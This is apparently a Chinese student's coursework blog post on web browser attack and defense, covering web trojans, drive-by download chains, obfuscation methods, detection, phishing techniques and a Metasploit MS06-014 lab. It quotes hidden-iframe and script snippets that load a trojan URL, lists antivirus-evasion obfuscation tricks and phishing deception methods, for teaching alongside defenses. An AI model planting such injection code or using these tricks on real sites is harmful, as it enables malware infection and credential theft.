20199105 2019-2020-2 《网络攻防实践》 第十二周作业

这个作业属于哪个课程 :网络攻防实践

这个作业的要求在哪里 : 第十二次作业-软件安全攻防--Web浏览器安全攻防

我在这个课程的目标是 : 学习网络攻防相关技术并进行实践

这个作业在哪个具体方面帮助我实现目标:Web浏览器安全攻防知识及相关技术

一、知识点总结


知识思维导图

1. Web浏览器安全威胁

1.1现代Web浏览器基本结构

  • 现代Web浏览器要求支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,支持ECMAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,支持CSS标准控制页面的布局

  • 现代Web浏览器软件除了下内核引擎中实现符合各种标准的基本功能和特性之外,普遍采用各种扩展机制允许第三方开发游戏额插件以丰富功能

JavaScript 引擎

JavaScript 负责 JavaScript 代码的解释与执行,主流的 JavaScript 引擎有:V8、SpiderMonkey、JavaScriptCore、Chakra。

浏览器/RunTime 内核(渲染引擎) JavaScript 引擎
Chrome Blink(28~)/ Webkit(Chrome 27) V8
FireFox Gecko SpiderMonkey
Safari Webkit JavaScriptCore
Opera Presto V11
Edge EdgeHTML Chakra(for JavaScript)
IE Trident Chakra(for JScript)
PhantomJS Webkit JavaScriptCore
Node.js - V8

1.2 Web浏览器的安全问题与威胁

Web浏览器软件的安全困境三要素

  • 复杂性:浏览器虽然是一个应用程序,但源代码的代码量也在不断扩大,随之产生了更多的错误和安全缺陷,存在更多被渗透攻击的安全漏洞

  • 可扩展性:第三方插件的开发过程缺乏安全保证,且一半不具备自动更新的机制,安全漏洞被利用的实践周期较系统与浏览器软件本身漏洞要长

  • 连通性:浏览器软件始终处在工作联网状态,一旦其中存在安全漏洞,易被网络上的威胁源所利用和攻击

Web浏览器安全威胁位置

①针对传输网络的网络协议安全威胁

②针对Web浏览端系统平台的安全威胁

互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全,漏洞使得Web浏览环境存在着被攻击的风险

③针对Web浏览器软件及插件程序的渗透攻击威胁

④针对互联网用户的社会工程学攻击威胁

2Web浏览端的渗透攻击威胁-网页木马


2.1网页木马安全威胁的产生背景

  • 网页木马的产生与发展背景:网页木马是从恶意网页脚本所孕育和发展出来的。自从Web浏览器在20世纪90年代中期引入了Java Applet、JavaScript、 VBScript 等客户端执行脚本语言之后,黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。

  • 网页木马发展与流行的驱动力-黑客地下经济链:包括下列六种不同类型的参与者:

    • 病毒编写者
      有经济利益驱动,针对公开披露的漏洞和相应渗透攻击获得的代码信息开发破解工具或木马程序,进行出售

    • 黑站长/网站骇客
      利用免费资源吸引访问者,植入恶意脚本将网站流量出售给“信封”盗窃者

    • “信封”盗窃者
      “信封”指账号和密码信息。盗窃者从病毒编写者处购买木马,从网络骇客处购买网站流量

    • 虚拟资产盗窃者
      可以没有任何技术,从“信封”盗窃者处购买“信封”,登录游戏盗取有价值的虚拟资产

    • 虚拟资产卖家
      创建线上虚拟商店售卖虚拟资产

    • 玩家
      网络游戏脑残粉,花钱买虚拟资产

2.2 网络木马攻击过程

2.3 网页木马存在的技术基础-Web浏览端安全漏洞

特性:

  • 网页木马所攻击的安全漏洞的存在位置非常多样化,包括Web浏览器自身、浏览器插件、关联某些Web文件的应用程序,由于这几类软件代码都涉及Web浏览过程,因此一旦它们中存在着可导致远程代码执行的安全漏洞,就很可能被网页木马所利用

  • 除了微软操作系统平台软件本身的安全漏洞之外,利用应用软件的在线升级和补丁安装过程未实现自动化和实时,网页木马近年来也在不断地发掘和利用其他流行应用软件中的安全漏洞

  • 一些影响范围广的安全漏洞,如MS06-014会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机

IE:
MS06-014:Microsoft 数据访问组件 (MDAC)功能中的漏洞可能允许执行代码
MS06-055:矢量标记语言可能允许远程执行代码漏洞
MS07-017:ANI光标漏洞
MS09-032:MicrosoftDirectShow MPEG2TuneRequest组件栈溢出漏洞
MS10-018:Microsoft IE畸形对象操作内存破坏漏洞
MS11-002:Microsoft DataAccess组件漏洞
MS11-003:Microsoft InternetExplorer内存远程代码执行漏洞

2.4 网页木马的机理分析

  • 网页木马的定义特性:利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序

  • 网页木马的定义:是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序

  • 网页木马攻击网络具有如下特性:

    • 多样化的客户端渗透攻击位置和技术类型

    • 分布式、复杂的微观链接结构

    • 灵活多变的混淆与对抗分析能力

  • 网页挂马机制:在编写完成网页木马渗透攻击代码之后,为了使得能够有终端用户使用他们可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上。网页挂马主要的有下面的四种策略。

    • 内嵌HTML标签:使用内嵌HTML标签,如iframeframe等,将网页木马链接嵌入到网站首页或其他页面中。为了达到更好地隐蔽性和灵活性,攻击者还经常利用层次嵌套的内嵌标签,引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。
<iframe src=http://www.trojan.com/ width=0 height=0></iframe>
  • 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马,
<script language="javascript">docume-t.write('<iframe src= URL to Trojan width=0 height=0></iframe>');</script>  
window.open("URL to Trojan")
  • 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法完成指定页面的加载
  • ARP欺骗挂马:针对安全防护严密的拥有大量访问流量的网站,利用ARP中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入恶意脚本,将网络访问流量连接至网页木马的挂马站点

混淆机制

目前在网页木马中使用比较广泛的混淆方法主要有:

①将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析;

②通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;

③通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document write() 或eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具;

④利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行;

⑤修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

2.5 网页木马的检测与分析技术

  • 静态检测-针对网站页面的源代码进行分析

    • 静态检测主要是对网站页面的源代码进行检测,首先通过分析页面提取出多有引入的URL,然后再通过爬虫爬取这些网页的源码,通过JS代码和恶意的shellcode特征进行匹配,判断该网站是否被挂马

    • 需要定期维护特征库

    • 对于PDF、FLASH和Java插件漏洞的挂马需要进行专门分析

  • 动态检测-是用虚拟机访问网站网页,查看是否感染木马

动态检测原理:
打开网站后,判断是否有恶意软件下载并执行,如果有则认为网站被挂马

动态监测的核心技术是如何判断网马下载执行的程序是否为恶意软件,这和很多杀毒软件的检测原理相似,主要是针对恶意软件的特征,比如首先匹配下载软件内容的MD5是否在黑名单内,然后通过监控程序行为(如文件操作、进程变化、网络监听)来判断是否为木马

具体的技术实现一般是通过Hook一些特定的系统函数,查看恶意软件是否有调用这些敏感的系统函数,进行判断,判断完成后直接进行拦截,防止木马的执行

网页木马连接结构

被挂马的网站首页中并没有被挂接恶意链接,而是在它所包含的JavaScript脚本文件common.js中植入了到网页木马宿主站点aa.18dd.net入口页面的恶意链接,该页面中又内嵌了一个指向网页木马渗透攻击代码分发页面的链接,以及进行访问计数的脚本代码链接

而攻击分发页面[dispatcher] .htm则是经过了多层混淆与核心代码,如图所示,从中我们可以看出这段网页代码经过了多轮的编码和加密,以躲避反病毒软件的检测,并提高了安全响应人员追踪分析的难度

通过对这段代码的多重解密,我们获得了原始代码,通过分析该段代码可以看出这段攻击分发页面中集成了针对IE(MS 06-014) 、暴风影音、PP Stream、百度搜霸等客户端不同的 软件安全漏洞进行攻击的网页木马链接,能够有效提高其攻击成功率

最后各个网页木马页面均通过对安全漏洞的渗透攻击尝试让客户端计算机下载位于down.18dd.net上的一个恶意下载器,并由这个下载器进一步植入编号为0~20的二十多个各式网游盗号木马

2.6 防范措施

  1. 提升操作系统与浏览器软件的安全性,如第三方插件自动更新

  2. 安装反病毒软件

  3. 养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站

3.网络钓鱼技术概述


网络钓鱼(Phishing) 是社会工程学在互联网中广泛实施的一种典型的攻击方式,通过发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等)

早期的网络钓鱼攻击主要目的是获得受害者的 AOL 账号的访问权,欺骗手段很大程度依赖于受害者对“自动化的”系统功能或权威机构的先天性信任,比如以硬件设备故障或数据库毁坏为由,用户通常会被催促尽快输入其敏感信息从而避免严重后果

现在,钓鱼者所首选的策略是通过大量散发诱骗邮件,冒充成一个可信的组织机构(通常是那些钓鱼者所期望的已经被受害者所信任的机构),去引诱尽可能多的终端用户。钓鱼者会发出一个让用户采取紧急动作的请求,其理由是保护用户的机密性数据免受恶意活动的侵害,这封欺骗性的电子邮件将会包含一个容易混淆的链接,指向一个假冒目标机构公开网站的远程网页,向假的目标机构的“官方”网站的网页接口输入他们的敏感信息

3.1 第一种网络钓鱼技术-在攻陷的网站服务器上钓鱼

①攻击者扫描网段,寻找有漏洞的服务器

②服务器被攻陷,并安装一个 rootkit 或口令保护的后门工具

③钓鱼者从加密的后门工具获得对服务器的访问权,如果这个被攻陷的服务器是一个网站服务器,则下载已构建完毕的钓鱼网站内容,进行有限的一些内容配置和网站测试工作(这也预示着第一次访问钓鱼网站的 IP 地址可能是钓鱼者的真实 IP 地址)

④群发电子邮件工具被下载,并用以大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件

⑤网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问恶意的网页内容

3.2 第二种网络钓鱼技术-部署重定向服务器搭建钓鱼攻击网络

本次攻击案例的一个概要时间线如下表所示:

日期时间 事件
2004 年 11 月 1 日 蜜罐受到首次扫描
2005 年 1 月 11 日 蜜罐上的 OpenSSL 服务被攻陷,端口重定向器被安装,钓鱼垃圾邮件被发送
2005 年 1 月 11 日 对钓鱼网站内容的 网页请求 开始到达蜜罐
2005 年 1 月 13 日 蜜罐被离线进行取证分析

这个端口重定向服务被设计成将发往该蜜罐网站服务器的 HTTP 请求以透明的方式重新路由到另外一个远程的网站服务器,这种方式潜在地使得对钓鱼网站内容更难追踪。攻击者下载并在蜜罐上安装了一个称为 redir 的工具,此工具是一个能够透明地将连入的TCP连接转发到一个远程的目标主机的端口重定向器。

欺骗技巧

①在指向假冒网站的链接中使用IP地址代替域名

②注册发音相近或形似的DNS域名(如与工商银行域名icbc.com.cn仅有一个字母之差的lcbc.com.cn),并在上面架设假冒网站,期望用户不会发现他们之间的差异

③在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取, 那么会在电子邮件被读取的时候自动地连接假冒网站, 手动浏览时也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接

④对假冒网站的URL进行编码和混淆。IDN欺骗技术(IDN Spoofing) 就是这样的一种技术,它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址

⑤企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。微软的IE和
Outlook都被发现过存在可以被这种技术攻击的漏洞(如地址栏假冒和IFrame element漏洞)

⑥将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站

⑦架设一个假冒网站,作为目标机构真实网密保护的口令信息, 甚至为假冒域名注册一个有效的信息进行记录。

⑧通过恶意代码在受害者计算机上安装一个(Browser Helper Object),然后由其将受害者重定向到假冒的钓信他们正在访问合法的网站内容,然而实际上却在访

⑨ 使用恶意代码去修改受害者计算机上的用来hosts文件,这将使得他们的网页浏览器在连接架设地址栏中看起来像是访问目标机构的合法网站

3.3 防范措施

  1. 对以索取个人敏感信息的邮件提高警惕性

  2. 利用浏览器安全访问提示

  3. 涉及网上金融操作时,务必重要网站真实性,尽量使用U盾代替证书或口令

二、实验过程


实践一:Web浏览器渗透攻击实验

  • 在kali中以msfconsole命令打开metasploit控制台终端

  • 先使用search命令搜索要使用的ms06-014渗透攻击模块,使用use exploit/windows/browser/ie_createobject

  • 使用show payloads命令可以查看所有适用的负载模块,选择第三个

  • 设置参数,使用show options命令查看参数设置

  • 使用exploit命令开始实施渗透攻击,建立session,获得URL

  • 复制URL,在目标主机浏览器中访问,完成渗透攻击

三、学习中遇到的问题及解决


问题一:Apache启动错误

四、学习感想和体会


参考资料:

  1. Web安全-检测-网页挂马

2.网络钓鱼攻击的实现过程

猜你喜欢

转载自www.cnblogs.com/flwstudy/p/12911083.html